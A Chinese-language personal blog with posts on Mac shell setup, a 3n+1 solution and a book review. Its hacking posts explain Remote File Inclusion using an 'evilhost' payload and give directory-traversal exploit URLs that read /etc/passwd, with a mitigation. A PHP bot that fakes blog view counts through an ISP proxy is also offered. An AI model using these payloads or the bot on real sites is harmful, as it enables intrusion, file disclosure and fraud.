[MAC] vi setting , ls color and alias

今天一個下午都一直在練習用command line的方式去設定一些東西,現在來報告一下今天研究的結果:

1. vi setting:
因為之前一直看到很多人在用vi/vim來開發程式,所以一定要來學一下,因為他有很多很方便的功能可以讓我們輕易上手,提供我們更高的便利性去design a program。因為MAC是based on Darwin 而且有部分的東西是從FreeBSD來的,所以設定的方法和他們一樣。

因為我不想要去動到core的資料,所以從flexibility的角度來說,我希望每個設定是獨立且不會受到影響的,而前輩們早就想到這些東西,就提供了一個方法,可以在不同user的家目錄下這個指令:


vi .vimrc

去設定vi提供的一個user defined的檔案,在這個檔案內做設定,像我就設定成這樣:


syntax on
hi Comment ctermfg = Green
set hlsearch
set expandtab
set shiftwidth=2
set softtabstop=2
set tabstop=2
set cindent
set autoindent
set number

主要是要開啟syntax color,因為打開才看的下去,要不然他原本都是白色的字,看了很難過…我是看不下去啦= =” 所以就改下去了,而hlsearch是對search的結果做highlight的動作,而set number則是顯示行號,其他的就是一些tab寬度、縮排的設定,有需要再自己去找一下相關的設定。

2,3 alias and ls color
alias 在 Yahoo Dictionary 的意思就是:

n. (名詞 noun)
化名;別名
ad. (副詞 adverb)
別名叫;化名為

所以就是可以把已知指令用更簡單的方式來表示,所以我們可以在家目錄找到.profile,就vi它吧!

vi .profile


alias ll="ls -al"
export CLICOLOR=1
export LSCOLORS=dxfxcxdxbxegedabagacad

這邊要注意的就是ailas的等號旁邊是不能有space的,有的話會出問題。而根據FreeBSD `ls’: Colour-coded directory/file listing(s)這篇文章所講的,只要用export CLICOLOR=1,這樣就可以開啟顏色的功能,不過也是可以用 alias ls=”ls -G”,同樣可以達到我們要的效果

The color designators are as follows:
a black
b red
c green
d brown
e blue
f magenta
g cyan
h light grey
A bold black, usually shows up as dark grey
B bold red
C bold green
D bold brown, usually shows up as yellow
E bold blue
F bold magenta
G bold cyan
H bold light grey; looks like bright white
x default foreground or background
Note that the above are standard ANSI colors. The actual display may differ depending
on the color capabilities of the terminal in use.

The order of the attributes are as follows:

1. directory
2. symbolic link
3. socket
4. pipe
5. executable
6. block special
7. character special
8. executable with setuid bit set
9. executable with setgid bit set
10. directory writable to others, with sticky bit
11. directory writable to others, without sticky bit

The default is “exfxcxdxbxegedabagacad”,
for regular directories, black foreground and red background for setuid executables,
etc.

大概就是這樣,看還有想到什麼再來補上!

δ 最新的文章,有為MAC OSX 設計的LS color Picker,有興趣的朋友可以用用看並給我一些建議:P~

[Hack] Remote File Inclusion

之前意外的發現一個web可以透過RFI的方式進入,但是我一直try都沒有辦法讓他include正確的外部phpinfo.php,結果在今天意外的看到一篇文章才了解到問題所在:


<?php
include($dir."/ attack.php");
?>

上例中“$dir”一般是一個在執行代碼前已經設定好的路徑,如果攻擊者能夠使得“$dir”沒有被設定的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個檔案“attack.php”,裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”,這樣我們就可以在目標主機上執行上面的惡意代碼,將結果返回到客戶的瀏覽器中。

需要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊伺服器,而不是目標伺服器執行。

…取自Phate

所以可以了解的是,因為我之前是直接include到我的機器上,所以該phpinfo.php顯示的是我自己機器的資料,這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上,用RFI直接include就可以了。

前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include,這樣RFI才會成功,要注意一下。

[ACM] 3n+1

太久沒有寫code了 , 想說來寫寫練習一下 , 剛好看到有人的3n+1的code , 想說來寫個比較簡短的版本 , 直接recursive 下去做真的是方便時很多呢!

BTW , 我發現我真的很愛用三元運算子= =” , 清楚又短~


#include <stdio.h>
void cal(int,int);
int m_cal(int,int);
int main (int argc, const char * argv[]) {
int input1,input2;
while(scanf("%d%d",&input1,&input2)!=-1){
cal(input1,input2);
}
return 0;
}
int m_cal(int a,int length){
if(a==1){
return length;
}else if(a%2==1){
return m_cal(a*3+1,length+1);
}else{
return m_cal(a/2,length+1);
}
}
void cal(int a,int b){
int i=a>b?b:a,j=a>b?a:b;
int temp,memory=0;
for(i;i<=j;i++){
temp = m_cal(i,1);
memory = temp>memory ? temp:memory;
}
printf("%d %d %dn",a,b,memory);
}

[Hack] Directory Traversal

來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的..

Live Demo(index.php):

<?php
//初始化參數
if(!$path)
{
$path="test";
$xpath ="";
}

define("PATHFIELD",0);
define("FILEFIELD",1);
define("EXTFIELD",2);

$class="xxxxxx"; //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白
$filecount=0; //Count file(not directory) num
$dircount=0; //Count dir num

$dir=@opendir($path);

//讀取目錄資料並至於陣列當中
while($file=@readdir($dir))
{
if(is_dir("$path/$file"))
{
if($file=="."||$file=="..")
continue;
$examdir[$dircount++]="$file";
}
else if(is_file("$path/$file"))
{
if($file=="class.conf.php")
require("$path/$file"); //取得目錄提示資料
$exten=substr($file,-3,3); //Get file extention
if(!strcasecmp($exten,"pdf")||!strcasecmp($exten,"gif")||!strcasecmp($exten,"zip"))
{
$examfile["$filecount"][PATHFIELD]="$path/$file";
$examfile["$filecount"][FILEFIELD]="$file";
$examfile["$filecount"][EXTFIELD]="$exten";
$filecount++;
}
}
}

討論:

從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 DT 的問題 , 所以就沒有對一些具有攻擊性的字做filter or 白名單過濾 , 所以當 $path 來個 “../” 就掰囉~從父目錄一直到根目錄都一覽無遺…

Demo PHP Code 1(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file']);
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

結果Unix Like的passwd的檔案就會被顯示出來 = =”…

Demo PHP Code 2(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file'].'.dat');
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

利用 NULL character 來把後面的.dat給無用化 , 這樣就可以讀到passwd的內容了..

防範:

利用basename()把後面的東西做filter , 像是在$path那邊可以改成這樣 ,

$path = str_replace('.','',$path);
$true_path = "/www/".basename($path);

則所有的’.’都會被換成’ ‘,這樣就可以再依個人需求做變化 , 大致上應該是不會有太多問題了

[MAC] 建立工作環境

剛上網看了一下文章 , 發現 Leopard 10.5.6 有內建 apache 和 php , 整個就是超合我的工作環境的呀 , 就差要怎麼把他們給用出來啦

第一步要先來到這邊:

sudo vi /etc/apache2/httpd.conf

然後把PHP打開

LoadModule php_module

再來就Restart apache , 就可以寫PHP了!

再回到

/etc

把default的php.ini.default 複製一分出去 , 這樣舊的就可以當備分用

sudo cp php.ini.dafault php.ini

最後再打開網頁共享

系統偏好設定/共享/網頁共享

就可以用上面的路徑去讀我們的網頁啦~

BTW , 我們的網頁存放的資料夾是在

/Users/你的家目錄名稱/sites

[MAC] Macbook到手- 白狼

哈哈~ 我等這台等好久了= = 其實是在2009/03/03的時候買的,只是因為太累了所以我忘記打 , 就拖到這天再來補打一下我買MAC的事情啦!其實會買到這台也是很誇張 , 因為我那天中午跑去校園店找店長-Kimmy , 問他說我訂的那台有沒有來 , 而就在他打完電話去確認後 , 竟然發現可以立刻出一台給我= = , 所以就在下午1點多電腦就到了 … 有沒有這麼有效率 … 要賺錢也不是賺的這麼誇張阿 = = , 而我只好等到晚上再去拿電腦 , 因為課太多了!

到了晚上 , 就叫小夫陪我去拿那台電腦 , 結果誰知道因為我沒有超過20歲 , 所以要辦分期就要好多麻煩的手續= = , 我一直很怕我媽影印這麼多影本再傳真應該會發瘋然後罵我 orz , 不過還好他都沒有什麼大動作 , 反而很快的就幫我把需要的資料給弄到手了 XD , 寫完資料後就要打電話跟家人說等等電腦總公司會有人打電話去CHECK我的身份 , 因為要分期好像要做個簡單的身家調查 , 害我打給我哥提醒他的時候 , 他還在上課呢 , 真扯 , 不過還好之後大家都幫我Hold住了!! 更棒的是 , Kimmy 剛好幫我問到 , 有學生12期免息分期 , 整個就是超爽的阿!! 所以我就改選擇這個方案 , 以32900分12期的價格弄到手啦 , 喔耶:D~ 這樣我就有自己的筆電了!

BTW , 我的小白的綽號叫做白狼 而小夫的叫做銀狐 , 以後兩個人帶出去整個就超有FU的啦~ 酷炫!

[Research] Dartboard Statistics Method

我的我

共有16筆資料

2.2(-1.1)

4.1(+0.8)

3.5(+0.2)

4.5(+1.2)

3.4(+0.1)

1.6(-1.7)

3.1(-0.2)

3.2(-0.1)

3.2(-0.1)

3.7(+0.4)

3.0(-0.3)

2.6(-0.7)

3.8(+0.5)

3.1(-0.2)

4.7(+1.4)

3.7(+0.4)

平均≒3.3

說明:

圖上的每個間距是0.5(看統計者要統計到多詳細),而中間那條線代表平均值(在本例為3.343)而藍色部分代表的是大於平均值的資料,紅色部分代表的是小於平均值的資料,然後依照離均差的大小來決定資料點是落在哪個圓內,之後依照圓內點的數目比上所有點的數目求出分佈機率(ex:最小圓有10個點,全部有16個點,其分佈機率為62.5%)





如果我們以平面的角度來看的話,會發現他的分佈情況是呈現在一個呈現兩色的二維鏢靶上,可以很明顯的看出整體資料的離均情況。在這邊要特別討論一下這個圖的優點,因為我認為就算是一些不常出現的極值,還是整體資料的一部分,所以如果為了建出理論的完美模型而拾棄那些極值,反而是和現實生活不合的情況。因此我是以離均的大小來建構出這個圖,所以就算是少數極值也只會分配在最外圍的圓上,不會對整體架構產生太大的影響。





統計方法命名:

Dartboard Statistics Method – 鏢靶統計方法

[Hax4] Hax4開張了

2009/02/15是Hax4的生日 , 因為在這天bu跑去註冊了domain name了hax4.in , (接下來是個人的想法 和Hax4沒有關係XD) , 其實說真的這件事代表著 , 我要學的東西可多著呢= =” , 像是基本的CSS setting , PHP coding abilities , Server setting … blah blah 的東西 , 因為我真不想變成拖累他們的那一個呀= =” ..

其實站在Hax4上 , 等於是一個起點 , 讓我能夠知道自己的不足 , 換個角度想 , 讀書的生活也不過剩下幾年而已 , 接下來就是要當兵 , 當完兵就要開始找工作了 … 想想真的是過的好快呀= = , 好像還沒開始就要結束的感覺 , 所以只能更把握當下 , 去做些更有意義的事情了 .

In a nutshell ,
I want to say “Happy birthday to you , Hax4” !

[PHP] Wxetch bot 三連發

昨天意外的看到一個討論串 , 就在那邊寫了一個新的 Wxetch Tricker 寫到三點…原因是因為有些地方一直卡住才卡這麼晚 , 囧…

A – Wxetch Tricker

是能夠用中花電信的 proxy server 來做到 cheating 的作用


<?php
if(isset($_POST['url'])){

$cookie = 'cookie.txt';
$url = trim($_POST['url']);
$pattern = "/www.wretch.cc/blog/(.*)/i";

if((preg_match($pattern,$url,$last))==TRUE){
$url = $last[1];
}
for($i=0;$i<25;$i++){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"www.wretch.cc/blog/$url");
curl_setopt($ch,CURLOPT_PROXY,"proxy.hinet.net");
curl_setopt($ch,CURLOPT_PROXYPORT,80);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie);
curl_setopt($ch,CURLOPT_COOKIEFILE,$cookie);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_exec($ch);
curl_close($ch);
}
}else{
echo '
<html>
<head>
<title>Wxetch Tricker</title>
</head>
<body>
<form method="post" action="tricker.php">
請輸入Wxetch帳號:<input type="text" name="url" value="">
<input type="submit" name="click" value="click">
....default: 50 times
</form>

Author: EragonJ

</body>
</html>
';
}
?>

因為這個要是中花電信的用戶才能使用他們的proxy server , 不過台灣還蠻多用戶的ISP都是他 , 所以應該都可以做到就是了!

我一直在想 , proxy server 不過就是個中繼站嗎? 那這樣子的話是怎麼可能做到cheating的功效 , 如果我推論沒錯的話 proxy.hinet.net:80 這是主要的server , 其下還有很多子server可以供主server 發佈命令去做中繼的動作 , 所以就可以做到cheating的功用 ,因為是由各個子proxy server去和Wxetch做接觸的!!

就算是小量cheating的動作就是了..

B – Wxetch Observer

有兩個版本 , 一個是Full size version
而另一個是Short cut version

這兩個都是可以直接去抓取相簿圖片的小程式 , 但是該死的IE6用右鍵會抓不到圖 , 但FF就沒有這個問題 , 可以來用用看FF3呀XD~ 真的是現在都用這個了~ 超好用 , 又有很多add-ons

大概就是這三個啦 , 下次還有什麼有趣的東西再放出來~

[好書]藍色駭客 The Blue Nowhere


# 作者:傑佛瑞.迪佛/著
# 譯者:宋瑛堂
# 出版社:皇冠
# 出版日期:2005年07月11日
# 語言:繁體中文 ISBN:9573321564
# 裝訂:平裝
# ……………..from 博客來網路書局

這本書我看了大概4~五次了 , 不知道為什麼 Jeffery Deaver的寫作手法一直都很吸引我 , 而這本書 , 對我來說就是他的代表作吧!

內容是寫兩大巫師因為一場鬥爭 , 而兩個人從原來的戰友變成了敵人 一位是叫飛特 , 一位是叫山谷男 (他們在藍色虛空的nickname)

因為發生一連串莫名的命案 , 而其中又和電腦犯罪有些關係 ,所以警方就去監獄尋求紀列德(山谷男的本名)的幫助 , 希望能夠藉助他的能力來抓到兇手 .

可是誰也沒想到 , 那竟然是曾和他一起打過無數大仗的朋友….

兩名巫師 , 以鍵盤代替魔仗 , 以對藍色虛空的知識當做咒語 , 互相的較量彼此的能力最後 , 所有的一切都是社交工程所建設出來的虛擬情境 …. 真正的惡魔 , 早就化身成為他們身旁的平民 … 等待著最佳時機以待反擊… 一切都是為了最求黑魔法的最高境界..

暗門.. 黑魔法的最後一式 .. 擁有掌握一切隱私的能力…
「你想扮演誰..?」

近身者為上帝….